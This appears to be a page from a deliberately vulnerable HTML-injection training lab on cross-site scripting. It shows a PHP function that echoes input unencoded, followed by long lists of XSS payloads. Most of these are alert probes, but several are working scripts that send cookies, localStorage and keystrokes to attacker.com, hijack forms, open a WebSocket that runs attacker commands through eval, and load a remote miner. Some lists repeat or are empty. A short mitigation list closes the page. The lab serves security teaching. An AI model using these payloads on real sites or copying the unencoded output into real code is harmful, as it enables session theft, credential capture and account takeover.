Lab 5: HTML Injection with XSS - HTML Injection Labs

Difficulty: High

Lab Overview

This lab demonstrates the most dangerous form of HTML injection vulnerability where HTML injection can lead to Cross-Site Scripting (XSS). This is the ultimate goal of HTML injection attacks and represents the highest risk to applications.

Objective: Achieve Cross-Site Scripting through HTML injection vulnerabilities.

XSS Vulnerable Code

// Vulnerable: Direct output leading to XSS
function process_html_input_xss($input) {
    if (empty($input)) {
        return "No input provided.";
    }
    
    // Vulnerable: Direct output without encoding
    return $input;
}

XSS HTML Injection

⚠️ XSS WARNING

This lab demonstrates XSS vulnerabilities. The following can execute JavaScript:

<script>alert('XSS')</script> - Basic XSS
<img src="x" onerror="alert('XSS')"> - Image XSS
<svg onload="alert('XSS')"> - SVG XSS
<iframe src="javascript:alert('XSS')"> - Iframe XSS

XSS Payloads

Try these XSS payloads:

<script>alert('XSS')</script> - Basic XSS
<img src="x" onerror="alert('XSS')"> - Image XSS
<svg onload="alert('XSS')"> - SVG XSS
<iframe src="javascript:alert('XSS')"> - Iframe XSS

Vulnerability Details

Type: HTML Injection with XSS
Severity: Critical
Method: POST
Issue: Direct HTML output leading to XSS

XSS Payloads

<script>alert('XSS')</script> - Basic XSS
<img src="x" onerror="alert('XSS')"> - Image XSS
<svg onload="alert('XSS')"> - SVG XSS
<iframe src="javascript:alert('XSS')"> - Iframe XSS

HTML Injection XSS Payloads

Use these payloads to achieve Cross-Site Scripting:

1. Basic XSS Payloads:

2. Image XSS Payloads:

3. SVG XSS Payloads:

4. Iframe XSS Payloads:

<iframe src="javascript:alert('XSS')">
<iframe src="javascript:alert('XSS')">
<iframe src="javascript:alert('XSS')">
<iframe src="javascript:alert('XSS')"></div>

            <h6>5. Form XSS Payloads:</h6>
            <div class="code-block"><form action="javascript:alert('XSS')">
<form onsubmit="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>
<button onclick="alert('XSS')">Click me</button>
<select onchange="alert('XSS')"><option>Test</option></select></div>

            <h6>6. Link XSS Payloads:</h6>
            <div class="code-block"><a href="javascript:alert('XSS')">Click me</a>
<a href="#" onclick="alert('XSS')">Click me</a>
<a href="javascript:alert('XSS')">Click me</a>
<a href="#" onclick="alert('XSS')">Click me</a>
<a href="javascript:alert('XSS')">Click me</a></div>

            <h6>7. CSS XSS Payloads:</h6>
            <div class="code-block"><style>body{background:url('javascript:alert("XSS")')}</style>
<style>@import url('javascript:alert("XSS")')</style>
<style>body{background:url('javascript:alert("XSS")')}</style>
<style>@import url('javascript:alert("XSS")')</style>
<style>body{background:url('javascript:alert("XSS")')}</style></div>

            <h6>8. Meta XSS Payloads:</h6>
            <div class="code-block"><meta http-equiv="refresh" content="0;url=javascript:alert('XSS')">
<meta name="description" content="<script>alert('XSS')</script>">
<title><script>alert('XSS')</script></title>
<link rel="stylesheet" href="javascript:alert('XSS')"></div>

            <h6>9. Event Handler XSS Payloads:</h6>
            <div class="code-block"><div onmouseover="alert('XSS')">Hover me</div>
<img src="x" onerror="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>
<select onchange="alert('XSS')"><option>Test</option></select>
<textarea onfocus="alert('XSS')" autofocus></textarea></div>

            <h6>10. Advanced XSS Payloads:</h6>
            <div class="code-block"><script>
    // Steal cookies
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
    
    // Redirect user
    window.location = 'https://attacker.com';
    
    // Keylogger
    document.addEventListener('keypress', function(e) {
        fetch('https://attacker.com/keys?key=' + e.key);
    });
</script></div>

            <h6>11. DOM Manipulation XSS:</h6>
            <div class="code-block"><script>
    // Change page content
    document.body.innerHTML = '<h1>HACKED!</h1>';
    
    // Add malicious elements
    var img = document.createElement('img');
    img.src = 'https://attacker.com/steal?data=' + document.cookie;
    document.body.appendChild(img);
    
    // Create fake login form
    var form = document.createElement('form');
    form.action = 'https://attacker.com/steal';
    form.innerHTML = '<input name="username" placeholder="Username"><input name="password" type="password" placeholder="Password"><input type="submit" value="Login">';
    document.body.appendChild(form);
</script></div>

            <h6>12. Session Hijacking XSS:</h6>
            <div class="code-block"><script>
    // Steal session data
    var sessionData = {
        cookie: document.cookie,
        localStorage: JSON.stringify(localStorage),
        sessionStorage: JSON.stringify(sessionStorage),
        userAgent: navigator.userAgent,
        url: window.location.href
    };
    
    fetch('https://attacker.com/steal', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify(sessionData)
    });
</script></div>

            <h6>13. Form Hijacking XSS:</h6>
            <div class="code-block"><script>
    // Hijack all forms
    var forms = document.getElementsByTagName('form');
    for (var i = 0; i < forms.length; i++) {
        forms[i].addEventListener('submit', function(e) {
            e.preventDefault();
            var data = new FormData(this);
            fetch('https://attacker.com/steal', {
                method: 'POST',
                body: data
            });
        });
    }
</script></div>

            <h6>14. Keylogger XSS:</h6>
            <div class="code-block"><script>
    // Keylogger
    document.addEventListener('keypress', function(e) {
        fetch('https://attacker.com/keys?key=' + e.key);
    });
    
    // Form data logger
    var inputs = document.getElementsByTagName('input');
    for (var i = 0; i < inputs.length; i++) {
        inputs[i].addEventListener('change', function(e) {
            fetch('https://attacker.com/input?name=' + e.target.name + '&value=' + e.target.value);
        });
    }
</script></div>

            <h6>15. Reverse Shell XSS:</h6>
            <div class="code-block"><script>
    // Reverse shell
    var ws = new WebSocket('ws://attacker.com:8080');
    ws.onopen = function() {
        ws.send('Connected');
    };
    ws.onmessage = function(event) {
        eval(event.data);
    };
</script></div>

            <h6>16. Cryptocurrency Mining XSS:</h6>
            <div class="code-block"><script>
    // Cryptocurrency mining
    var script = document.createElement('script');
    script.src = 'https://attacker.com/miner.js';
    document.head.appendChild(script);
</script></div>

            <h6>17. Data Exfiltration XSS:</h6>
            <div class="code-block"><script>
    // Data exfiltration
    var data = {
        cookies: document.cookie,
        localStorage: JSON.stringify(localStorage),
        sessionStorage: JSON.stringify(sessionStorage),
        userAgent: navigator.userAgent,
        url: window.location.href,
        referrer: document.referrer,
        title: document.title
    };
    
    fetch('https://attacker.com/exfil', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify(data)
    });
</script></div>

            <h6>18. Advanced Persistence XSS:</h6>
            <div class="code-block"><script>
    // Advanced persistence
    var payload = '<script>alert("XSS")</script>';
    localStorage.setItem('xss', payload);
    
    // Auto-execute on page load
    if (localStorage.getItem('xss')) {
        document.body.innerHTML += localStorage.getItem('xss');
    }
    
    // Persist across sessions
    sessionStorage.setItem('xss', payload);
</script></div>
        </div>

        <div class="danger-zone">
            <h5><i class="bi bi-exclamation-triangle me-2"></i>Real-World Attack Scenarios</h5>
            <ul>
                <li>Complete session hijacking and account takeover</li>
                <li>Data exfiltration and sensitive information theft</li>
                <li>Malicious redirects and phishing attacks</li>
                <li>Keylogging and form hijacking</li>
                <li>Cryptocurrency mining and resource abuse</li>
                <li>Compliance violations and security breaches</li>
            </ul>
        </div>

        <div class="card mt-4">
            <div class="card-header">
                <i class="bi bi-lightbulb me-2"></i>Mitigation Strategies
            </div>
            <div class="card-body">
                <ul>
                    <li>Implement proper input validation and sanitization</li>
                    <li>Use HTML encoding functions (htmlspecialchars, htmlentities)</li>
                    <li>Implement Content Security Policy (CSP)</li>
                    <li>Use whitelist-based filtering for allowed HTML tags</li>
                    <li>Implement proper output encoding</li>
                    <li>Regular security testing and vulnerability assessments</li>
                    <li>Monitor for unusual HTML injection patterns</li>
                </ul>
            </div>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>